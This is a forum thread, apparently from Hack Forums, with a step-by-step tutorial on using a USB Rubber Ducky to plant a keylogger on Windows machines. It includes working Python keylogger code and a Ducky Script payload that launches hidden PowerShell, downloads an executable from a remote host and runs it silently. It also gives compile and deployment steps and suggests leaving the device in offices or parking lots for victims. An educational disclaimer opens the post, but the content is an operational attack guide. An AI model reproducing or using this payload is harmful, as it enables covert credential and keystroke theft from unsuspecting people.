

Forum:[Hack Forums](#)

Thread: [FREE USB Rubber Ducky Tutorial](#)

redteamranger - October 15, 2024, 9:13 am

To save my skin: This is provided strictly for educational purposes. The techniques and tools discussed, including the USB Rubber Ducky and keyloggers, are intended to help you understand real-world attack vectors as part of ethical hacking and penetration testing education. Unauthorized use of these methods on systems without explicit permission is illegal and unethical. Always obtain proper authorization before conducting any security assessments or testing. Neither myself nor the hackforums are responsible for any misuse of this information or illegal activities conducted using these techniques.

Objective:

The objective of this lesson is to demonstrate how a USB Rubber Ducky can be used to deliver a payload that installs a keylogger on a target system. You will gain a clear understanding (hopefully, lol) of scripting payloads, using the Ducky to inject them, and how keyloggers function in terms of logging keystrokes. The focus will be on practical steps to help students learn about attack vectors and how to script the payload effectively.

Prerequisites:

Basic knowledge of scripting, particularly using Ducky Script.

Familiarity with USB Rubber Ducky hardware.

Understanding of keylogger software.

Access to Windows OS for payload deployment.

If you don't know this stuff, trust me, youtube any and everything.

Materials Required:

USB Rubber Ducky: A programmable USB device that mimics a keyboard, capable of injecting keystrokes quickly.

Ducky Script Compiler: Software used to convert text-based payloads into the binary .bin format that the Rubber Ducky can execute.

Keylogger Software: We'll use a basic keylogger program that can be downloaded or created.

MicroSD card: A microSD card for storing the payload.

Target Windows Machine: The system where the keylogger will be installed...or just leave it in a office, parking lot, etc. People still fall for that, unfortunately.

Step 1: Introduction to USB Rubber Ducky

What is USB Rubber Ducky?

A USB Rubber Ducky looks like a regular USB drive, but it acts as a Human Interface Device (HID), appearing to the target system as a keyboard. It can rapidly type out pre-written commands faster than a human user can.

Why USB Rubber Ducky is effective:

Most systems automatically trust HID devices like keyboards, meaning the payload executes immediately when the device is plugged in.

Step 2: Understanding the Keylogger Payload

What is a keylogger?

A keylogger is a software that monitors and records the keys typed on a keyboard. The recorded data is usually stored locally or sent remotely to an attacker.

Setting up the keylogger:

You can use open-source keyloggers like Python-based keyloggers, or pre-compiled executables like AgentTesla or Ardamax Keylogger. These programs monitor keystrokes in the background without alerting the user.

Alternatively, for ethical teaching, you can demonstrate the basics of writing a simple Python keylogger:

Code import pynput

```
def on_press(key):  
    with open("log.txt", "a") as log_file:  
        log_file.write(str(key) + "\n")
```

```
with pynput.keyboard.Listener(on_press=on_press) as listener:  
    listener.join()
```

Step 3: Writing the Payload in Ducky Script

What is Ducky Script?

Ducky Script is the language used to write payloads for the USB Rubber Ducky. Each line represents a key press, delay, or special command.

Creating a Payload to Install a Keylogger:

The following steps will create a payload that opens a command prompt, downloads the keylogger from a remote server, and executes it. If you're using a pre-built keylogger executable, host it on a remote server or local network share.

Example Payload in Ducky Script:

```
Code DELAY 5000  
GUI r          # Opens Run dialog  
DELAY 500  
STRING powershell -WindowStyle hidden  
ENTER  
DELAY 500  
STRING iwr example/keylogger.exe -OutFile C:\Users\Public\keyloggerexe  
ENTER  
DELAY 500  
STRING Start-Process C:\Users\Public\keyloggerexe  
ENTER
```

Explanation of the Payload:

DELAY 5000: Waits for 5 seconds to ensure the system is ready.

GUI r: Opens the Run dialog (Windows + R).

STRING powershell -WindowStyle hidden: Launches PowerShell in a hidden window to avoid raising suspicion.

STRING iwr example/keyloggerexe -OutFile C:\Users\Public\keyloggerexe: Uses PowerShell's Invoke-WebRequest command to download the keylogger from the specified URL and saves it to a location on the system.

STRING Start-Process C:\Users\Public\keylogger.exe: Executes the keylogger silently.

Step 4: Compiling the Payload

Using the DuckEncoder:

After writing the Ducky Script, you need to compile it into a .bin file that the USB Rubber Ducky can execute.

Use the DuckEncoder to convert the text-based payload into a binary format:

bash

Copy code

```
java -jar DuckEncoder.jar -i payload.txt -o inject.bin
```

payload.txt is your Ducky Script, and inject.bin is the output file.

Transferring the Payload to the USB Rubber Ducky:

Copy the inject.bin file to the microSD card.

Insert the microSD card into the USB Rubber Ducky.

Step 5: Deploying the Payload

Inserting the Rubber Ducky:

Insert the USB Rubber Ducky into the target machine's USB port. The Ducky will automatically inject the keystrokes based on the inject.bin payload.

Watching the Execution:

The Ducky will simulate keyboard input, opening PowerShell, downloading the keylogger, and running it without any further interaction required.

Step 6: Monitoring the Keylogger

Check for Keylogging Activity:

Once the keylogger is installed, it will start recording keystrokes.

If you're using a Python keylogger, it will save the keystrokes in a text file (e.g., log.txt) on the target machine.

For more sophisticated keyloggers, logs can be emailed or sent via FTP to a remote server

cam667 - October 28, 2024, 3:20 pm

I needed it thank you very much for my rubber ducky but too bad it's a keylogger